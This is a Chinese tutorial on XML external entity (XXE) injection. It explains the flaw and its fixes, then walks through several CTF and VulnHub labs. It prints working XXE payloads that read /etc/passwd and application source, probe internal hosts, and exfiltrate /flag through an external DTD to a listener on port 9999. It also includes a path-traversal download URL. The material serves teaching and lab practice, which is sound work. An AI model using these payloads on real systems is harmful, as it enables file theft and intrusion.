web安全XML&XXE安全&外部实体&利用

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全XML&XXE安全&外部实体&利用相关的知识,希望对你有一定的参考价值。

一、对XML的认识

1.什么是XML
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从html分离,是独立于软件和硬件的信息传输工具。

2.文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。

参考:https://www.cnblogs.com/zhaijiahui/p/9147595.html

二、XXE漏洞的原理&发现&修复

XXE漏洞原理:
XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE修复防御方案:
方案1-禁用外部实体
PHP: libxml_disable_entity_loader(true);

JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

请添加图片描述

请添加图片描述

三、CTF赛题场景利用

1.[NCTF2019]Fake XML cookbook

来到漏洞界面
在这里插入图片描述
我们可以直接抓包,发现这里的登陆参数是xml格式判断存在xxe漏洞
在这里插入图片描述
文件读取payload:

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE ruler [

<!ENTITY filee SYSTEM  "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">

]>

<user>

  <username>&filee;</username>

  <password>ruler</password>

</user>

在这里插入图片描述
直接读取flag
在这里插入图片描述

内网探针:

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<user><username>&rabbit;</username><password>Mikasa</password></user>

外部实体引用:(解决不回显,解决免杀拦截问题,外部引用Payload)

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
    %file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

evil2.dtd 代码内容
<!ENTITY send SYSTEM "file:///d:/www.txt">

参考:https://blog.csdn.net/m0_46580995/article/details/109562746
           https://blog.csdn.net/qq_52907838/article/details/118030007
           https://github.com/c0ny1/xxe-lab

2.Jarvis-api调用
地址:http://web.jarvisoj.com:9882/
在这里插入图片描述
还是老办法抓包
在这里插入图片描述
我们可以更改请求数据格式:application/xml 来实现XXE注入

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

在这里插入图片描述
在这里插入图片描述

3.[网鼎杯 2020 青龙组]filejava

来到熟悉的文件上传界面,我们先随便上传一下
在这里插入图片描述
在这里插入图片描述
在点击访问文件的时候发现可以下载文件,判断可能存在任意文件下载
在这里插入图片描述
在这里插入图片描述
哈哈哈哈,tomcat,题目又提示和java有关,判断应该是web.xml文件泄露
在这里插入图片描述
我们先看这个文件上传的文件

http://7efc5ed6-654d-434a-8059-93596d3a2409.node4.buuoj.cn/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

通过代码审计,找到关键点
在这里插入图片描述
这里是一个excel和xxe漏洞的结合,CVE-2014-3529 (POI XXE注入)
参考: https://blog.csdn.net/weixin_34356310/article/details/92664653

这里需要用到vps,由于是在buu上复现的,所以注册一个小号,开一台靶机就行
在这里插入图片描述

新建一个excel-123456.xlsx文件,在里面的[Content_Types].xml的第二行加入

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://172.16.148.57/file.dtd">
%remote;%int;%send;
]>

在这里插入图片描述

然后在靶机的/var/www/html目录下新建一个file.dtd文件,内容为

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://172.16.148.57:9999?p=%file;'>">

最后上传监听nc -lvvp 9999 就能拿到flag
参考:https://blog.csdn.net/alex_bean/article/details/106124750
           https://blog.csdn.net/weixin_43553654/article/details/107686932
           http://www.xianxianlabs.com/blog/2020/06/02/377.html

四、模拟XXE渗透实战

1.信息收集-主机ip扫描

nmap -sS 192.168.111.1/24 

发现192.168.111.135开放了80端口
在这里插入图片描述
在这里插入图片描述
接着通过robots协议,发现存在的目录如下
在这里插入图片描述
在这里插入图片描述
现在收集完毕之后就行漏洞利用

文件读取admin.php的内容

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

在这里插入图片描述

         <?php
            $msg = '';
            if (isset($_POST['login']) && !empty($_POST['username']) 
               && !empty($_POST['password'])) {
				
               if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                  $_SESSION['valid'] = true;
                  $_SESSION['timeout'] = time();
                  $_SESSION['username'] = 'administhebest';
                  
                echo "You have entered valid use name and password <br />";
		$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
		echo $flag;
               }else {
                  $msg = 'Maybe Later';
               }
            }
         ?>
      </div> <!-- W00t/W00t -->

那么通过文件读取我们知道了账号密码、账号:administhebest 密码:admin@123,也可以看到登陆成功后访问的是flagmeout.php,那么我们可以试着读取flagmeout.php
在这里插入图片描述
找到了flag~ ——工具及靶场:
https://github.com/enjoiz/XXEinjector
https://github.com/vkbiu/docem
https://download.vulnhub.com/xxe/XXE.zip

请添加图片描述

以上是关于web安全XML&XXE安全&外部实体&利用的主要内容,如果未能解决你的问题,请参考以下文章

[Web安全] XXE漏洞攻防学习(上)

WEB漏洞 XML & XXE漏洞

[Web安全] XXE漏洞攻防学习(中)

WEB安全番外第三篇--关于XXE

09.27安全帮®每日资讯:思科互联网操作系统发现执行任意代码高危漏洞;WebSphere XML外部实体注入(XXE)漏洞

文库 | 探索XML外部实体注入(XXE)